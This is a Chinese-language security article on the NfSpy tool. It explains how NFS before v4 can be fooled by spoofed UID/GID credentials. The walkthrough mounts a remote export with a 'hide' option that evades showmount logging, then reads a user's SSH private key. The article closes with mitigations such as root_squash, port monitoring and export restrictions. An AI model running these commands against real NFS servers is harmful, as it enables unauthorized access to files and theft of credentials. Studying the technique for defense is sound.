1.png

NfSpy简介

NfSpy是一个开源的Python库,当我们加载一个NFS文件共享服务时,它可以自动伪造出NFS凭证。该工具包含下面两个子程序:

1.    nfspy:nfspy使用了用户空间文件系统(FUSE)库在Linux平台中加载NFS文件共享服务。这将允许我们使用类似grep和find这样的常规文件搜索和操作命令来查询NFS所export出去的数据结构。

2.    nfspysh:nfspysh是一个类FTP的交互式Shell,可以用来查询NFS export。它不需要使用FUSE库,因此它可以在非Linux平台上运行。

漏洞利用

v4版本之前的NFS依赖于服务器主机对身份验证机制的信任关系。NFS服务器会信任那些通过相同用户ID(与共享文件系统的UID相同)进行身份验证的客户端设备,这种机制适用于NIS、NIS+和LDAP域,但只有这些设备没有受到攻击或身份并非伪造的前提下这种验证机制才有效,因为NFS协议所使用的唯一的身份验证因素就是客户端设备传递过来的UID或GID(Group ID)。这也就意味着,如果我们能够伪造客户端设备的访问ID,我们就能够绕过NFS服务器的身份验证了。

NfSpy下载

下载地址

NfSpy的使用

下面这条命令可以显示出用户的可选操作项(查看帮助):

nfspy –help

使用示例

下面是一个运行于192.168.1.124的NFS服务器。

$ showmount -e 192.168.1.124 Export list for 192.168.1.124:
/home (everyone)

挂载并共享之后,我们可以通过sudo来将其与一个特权端口进行绑定,而allow_other选项将允许任意用户使用这个文件系统。请注意下面的“hide”选项,使用了这个选项之后,他人将无法通过showmount –a来查看当前服务器的共享列表中是否有你。

$ sudo nfspy -o server=192.168.1.124:/home,hide,allow_other,ro,intr/mnt

接下来,你就可以为所欲为啦!好好享受吧…

$ cd /mnt
/mnt$ ls -l
drwx------ 74 8888 200 4096 2011-03-03 09:55 smithj
/mnt$ cd smithj
/mnt/smithj$ cat .ssh/id.rsa
-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: DES-EDE3-CBC,30AEB543E512CA19
<snip>

操作完成之后,你可以使用fusermount进行卸载:

$ sudo fusermount -u /mnt

nfspysh的使用

nfspysh所支持使用的操作选项基本与NfSpy的相同,所以各位同学可以直接参考上面的内容。我们这里同样可以使用“help”命令查看帮助信息。

$ sudo PYTHONPATH=. python scripts/nfspysh -oserver=127.0.0.1:/home/miller/nfs nfspy@127.0.0.1:/home/miller/nfs:/> ls
/: 040775  1000  1000      4096 2013-04-13 23:20:37 . 040775  1000  1000      4096 2013-04-13 23:20:37 .. 040775  1000  1000      4096 2013-04-11 06:36:48 public 040775  1000  1000      4096 2013-04-13 23:26:40 more 040700     0  1000      4096 2013-04-11 06:39:12 secrets 100666  1000  1000         5 2013-04-13 23:28:02 README.md 120777  1000  1000        21 2013-04-13 13:00:24 nmap -> /usr/local/share/nmap nfspy@127.0.0.1:/home/miller/nfs:/more> help
Known commands:     cd
    chmod
    chown
    exit
    get
    help
    lcd
    lpwd
    ls
    mkdir
    mv
    put
    pwd
    rm
    rmdir
    umask
nfspy@127.0.0.1:/home/miller/nfs:/more> help get
get <filename> [<localname>]
 
        Retrieve<filename> and save to <localname>. If no <localname> isgiven,
        defaults tothe basename of <filename> in the current local working directory.
nfspy@127.0.0.1:/home/miller/nfs:/more> exit
Quitting.

缓解方案

虽然我们有一些方法来增强NFS的安全性,但其中绝大部分都是不完整的解决方案,包括我们下面给大家列出的这三种方法在内。需要注意的是,攻击者仍然有可能绕过下面这些安全保护措施。

root_squash

我们可以将服务器或文件共享(在NFS中的术语为export)配置为root_squash,这个配置意味着,如果发送过来的请求声明自己的UID或GID为0,即root,那么这个用户将会被当作nobody用户处理。这种方法无法防止攻击者伪造UID或GID,但它能够对敏感信息和重要配置起到一定程度的保护作用。

nfs_portmon

另一个可以开启的设置选项是nfs-portmon,它可以拒绝来自于端口513-1024范围之外的请求信息。由于通常情况下只有root权限才能分配这些端口,因此这样可以防止受信任设备上的普通用户伪造UID或GID。但是这种方法无法防止流氓主机、有su权限的用户、或已被完全入侵的设备进行ID欺骗。

Export限制

我们可以通过对NFS的Share/Export进行控制来决定哪一台设备能够访问它们。这些访问控制如下:

-IP地址(例如192.168.1.34) -IP前缀(例如@192.168.1) -主机名(例如server1.mydom.nis) -主机列表(例如@trusted_hosts) -“everyone”

最佳的配置方案应该是使用一个主机列表,因为查询NFS daemon(守护进程)只会得到列表名称,其中不会包含地址和主机名。IP地址或主机名也是不错的选择,因为它们比较难欺骗,相比来说IP前缀和“everyone”就没那么安全了,因为它们没有对接入客户端的地址进行限制。

* 参考来源:n0where, FB小编Alpha_h4ck编译